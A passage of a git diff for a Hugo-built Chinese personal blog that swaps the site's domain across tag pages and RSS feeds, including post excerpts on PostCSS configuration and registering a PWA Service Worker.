+npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://chenjunlinabc.github.io/posts/129/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/postcss/index.xml b/tags/postcss/index.xml
index 2775dfa5..71a1435a 100644
--- a/tags/postcss/index.xml
+++ b/tags/postcss/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>PostCSS on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/postcss/</link>
+    <link>https://chenjunlinabc.github.io/tags/postcss/</link>
     <description>Recent content in PostCSS on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 23 Jan 2022 13:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/postcss/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 23 Jan 2022 13:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/postcss/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>PostCSS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/129/</link>
+      <link>https://chenjunlinabc.github.io/posts/129/</link>
       <pubDate>Sun, 23 Jan 2022 13:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/129/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/129/</guid>
       <description>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
@@ -28,8 +28,8 @@ npm install postcss postcss-loader
 npm install postcss postcss-loader &amp;ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
 npm install autoprefixer &amp;ndash;save-dev</description>
     </item>
     
diff --git a/tags/postcss/page/1/index.html b/tags/postcss/page/1/index.html
index b52128a6..24274c36 100644
--- a/tags/postcss/page/1/index.html
+++ b/tags/postcss/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/postcss/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/postcss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/postcss/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/postcss/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/postcss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/postcss/"></head></html>
\ No newline at end of file
diff --git a/tags/pwa/index.html b/tags/pwa/index.html
index f9a085b9..52a8cd0a 100644
--- a/tags/pwa/index.html
+++ b/tags/pwa/index.html
@@ -1,34 +1,9 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>PWA | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/pwa/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/pwa/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="PWA"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/pwa/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="PWA"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>PWA</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>PWA | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/pwa/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/pwa/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="PWA"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/pwa/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="PWA"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>PWA</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
-registration => {
-console.log(registration)
-},error => {
-console.error(error)
-}
-)
-window.onload = function() {
-document.body.append('PWA!')
-}
-sw.js
-const cachename = 'v1'
-self.addEventListener('install', function (event) {
-console.log('install',event)
-// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
-event.waitUntil(new Promise(resolve =>{
-setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
-}))
-// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
-event.waitUntil(caches.open(name).then(cache =>{
-cache.addAll([
-'/',
-'./1.img'
-])
-})) // 开启cache api缓存系统
-})
-self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://xiaochenabc123.github.io/posts/154/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://chenjunlinabc.github.io/posts/154/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/pwa/index.xml b/tags/pwa/index.xml
index 2ede35b3..9d4cf955 100644
--- a/tags/pwa/index.xml
+++ b/tags/pwa/index.xml
@@ -2,28 +2,28 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>PWA on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/pwa/</link>
+    <link>https://chenjunlinabc.github.io/tags/pwa/</link>
     <description>Recent content in PWA on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 28 Oct 2022 01:21:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/pwa/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 28 Oct 2022 01:21:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/pwa/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用PWA技术</title>
-      <link>https://xiaochenabc123.github.io/posts/154/</link>
+      <link>https://chenjunlinabc.github.io/posts/154/</link>
       <pubDate>Fri, 28 Oct 2022 01:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/154/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/154/</guid>
       <description>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then(
registration =&amp;gt; {
console.log(registration)
},error =&amp;gt; {
console.error(error)
}
)
window.onload = function() {
document.body.append(&#39;PWA!&#39;)
}
sw.js
-const cachename = &#39;v1&#39;
self.addEventListener(&#39;install&#39;, function (event) {
console.log(&#39;install&#39;,event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =&amp;gt;{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =&amp;gt;{
cache.addAll([
&#39;/&#39;,
&#39;./1.img&#39;
])
})) // 开启cache api缓存系统
})
self.</description>
+navigator.serviceWorker.register(&#39;./sw.js&#39;,{scope: &#39;/&#39;}).then( registration =&amp;gt; { console.log(registration) },error =&amp;gt; { console.error(error) } ) window.onload = function() { document.body.append(&#39;PWA!&#39;) } sw.js
+const cachename = &#39;v1&#39; self.addEventListener(&#39;install&#39;, function (event) { console.log(&#39;install&#39;,event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =&amp;gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =&amp;gt;{ cache.addAll([ &#39;/&#39;, &#39;./1.img&#39; ]) })) // 开启cache api缓存系统 }) self.</description>
     </item>
     
   </channel>
diff --git a/tags/pwa/page/1/index.html b/tags/pwa/page/1/index.html
index 1bd97d59..4f13b888 100644
--- a/tags/pwa/page/1/index.html
+++ b/tags/pwa/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/pwa/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/pwa/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/pwa/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/pwa/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/pwa/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/pwa/"></head></html>
\ No newline at end of file
diff --git a/tags/python/index.html b/tags/python/index.html
index a4023e41..477110ab 100644
--- a/tags/python/index.html
+++ b/tags/python/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Python | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/python/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/python/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Python"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/python/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Python"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" 